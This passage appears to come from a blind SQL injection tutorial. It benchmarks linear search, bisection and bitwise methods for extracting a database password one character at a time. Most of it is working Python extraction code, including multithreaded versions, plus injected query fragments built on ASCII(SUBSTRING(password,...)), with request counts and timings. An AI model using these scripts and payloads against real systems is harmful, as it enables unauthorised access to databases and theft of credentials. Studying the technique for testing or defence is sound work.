| Metric | Value |
|---|---|
| Requests | 4,128 |
| Time | 1,005.67 seconds (~17 min) |
We can drastically improve this with better algorithms.
Repeatedly split the search area in half until one option remains.
Search area: ASCII values 0-127
Target = '-' = 45
LBound = 0, UBound = 127
→ Midpoint = (0+127)//2 = 63
→ Is target between 0 and 63? YES
→ UBound = 63 - 1 = 62
LBound = 0, UBound = 62
→ Midpoint = (0+62)//2 = 31
→ Is target between 0 and 31? NO
→ LBound = 31 + 1 = 32
LBound = 32, UBound = 62
→ Midpoint = (32+62)//2 = 47
→ Is target between 32 and 47? YES
→ UBound = 47 - 1 = 46
LBound = 32, UBound = 46
→ Midpoint = (32+46)//2 = 39
→ Is target between 32 and 39? NO
→ LBound = 39 + 1 = 40
LBound = 40, UBound = 46
→ Midpoint = (40+46)//2 = 43
→ Is target between 40 and 43? NO
→ LBound = 43 + 1 = 44
LBound = 44, UBound = 46
→ Midpoint = (44+46)//2 = 45
→ Is target between 44 and 45? YES
→ UBound = 45 - 1 = 44
LBound = 44, UBound = 44
→ Midpoint = (44+44)//2 = 44
→ Is target between 44 and 44? NO
→ LBound = 44 + 1 = 45
✅ LBound = 45 = Target!
Result: 7 requests instead of 45!
ASCII(SUBSTRING(password,1,1)) BETWEEN <LBound> AND <Midpoint># Dump password using Bisection
print("[*] Password = ", end='')
for i in range(1, length + 1):
low = 0
high = 127
while low <= high:
mid = (low + high) // 2
if oracle(f"ASCII(SUBSTRING(password,{i},1)) BETWEEN {low} AND {mid}"):
high = mid - 1
else:
low = mid + 1
print(chr(low), end='')
sys.stdout.flush()
print()| Metric | Value |
|---|---|
| Requests | 256 |
| Time | 61.56 seconds |
| Improvement | 16x faster! |
ASCII values 0-127 = binary 00000000 to 01111111
Since MSB is always 0, we only need to dump 7 bits.
number & bit_value > 0 → bit is 1
number & bit_value = 0 → bit is 0
Target = '9' = 57 = 00111001 (binary)
Is (target & 1) > 0? → YES → Bit 0 = 1 → ......1
Is (target & 2) > 0? → NO → Bit 1 = 0 → .....01
Is (target & 4) > 0? → NO → Bit 2 = 0 → ....001
Is (target & 8) > 0? → YES → Bit 3 = 1 → ...1001
Is (target & 16) > 0? → YES → Bit 4 = 1 → ..11001
Is (target & 32) > 0? → YES → Bit 5 = 1 → .111001
Is (target & 64) > 0? → NO → Bit 6 = 0 → 0111001
Result: 0111001 = 57 = '9' ✅
(ASCII(SUBSTRING(password,N,1)) & X) > 0Where X = 1, 2, 4, 8, 16, 32, 64 (powers of 2)
# Dump password using SQL-Anding
print("[*] Password = ", end='')
for i in range(1, length + 1):
c = 0
for p in range(7): # 7 bits needed for ASCII
if oracle(f"ASCII(SUBSTRING(password,{i},1))&{2**p}>0"):
c |= 2**p # Set the bit
print(chr(c), end='')
sys.stdout.flush()
print()| Metric | Value |
|---|---|
| Requests | 256 |
| Time | 60.28 seconds |
| Note | Slightly faster due to simpler query |
| Algorithm | Requests | Time | Speed Improvement |
|---|---|---|---|
| Linear Search | 4,128 | 1,005.67s | Baseline |
| Bisection | 256 | 61.56s | 16x faster |
| SQL-Anding | 256 | 60.28s | 16.7x faster |
- 7 requests per character are dependent (sequential)
- Individual characters are independent (parallel)
import concurrent.futures
def dump_char_bisection(position):
low, high = 0, 127
while low <= high:
mid = (low + high) // 2
if oracle(f"ASCII(SUBSTRING(password,{position},1)) BETWEEN {low} AND {mid}"):
high = mid - 1
else:
low = mid + 1
return (position, chr(low))
# Parallel extraction
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(dump_char_bisection, i) for i in range(1, length + 1)]
results = sorted([f.result() for f in futures])
password = ''.join([r[1] for r in results])
print(f"[*] Password = {password}")- 7 requests per character are independent (parallel)
- Individual characters are independent (parallel)
- All requests can run in parallel!
import concurrent.futures
def check_bit(position, bit):
if oracle(f"ASCII(SUBSTRING(password,{position},1))&{2**bit}>0"):
return (position, bit, True)
return (position, bit, False)
# Generate all tasks
tasks = [(i, b) for i in range(1, length + 1) for b in range(7)]
# Run all in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(check_bit, pos, bit) for pos, bit in tasks]
results = [f.result() for f in futures]
# Reconstruct password
chars = {i: 0 for i in range(1, length + 1)}
for pos, bit, is_set in results:
if is_set:
chars[pos] |= 2**bit
password = ''.join([chr(chars[i]) for i in range(1, length + 1)])
print(f"[*] Password = {password}")| Scenario | Recommended Algorithm |
|---|---|
| Single-threaded | SQL-Anding (slightly faster) |
| Multi-threaded | SQL-Anding (fully parallelizable) |
| Limited requests | Both equal (same request count) |
| Simple implementation | Bisection (easier to understand) |
ASCII(SUBSTRING(column,position,1)) BETWEEN low AND mid(ASCII(SUBSTRING(column,position,1)) & power_of_2) > 0| Algorithm | Requests per Character |
|---|---|
| Linear | ~64 average (0-127) |
| Bisection | 7 (log₂ 128) |
| SQL-Anding | 7 (7 bits) |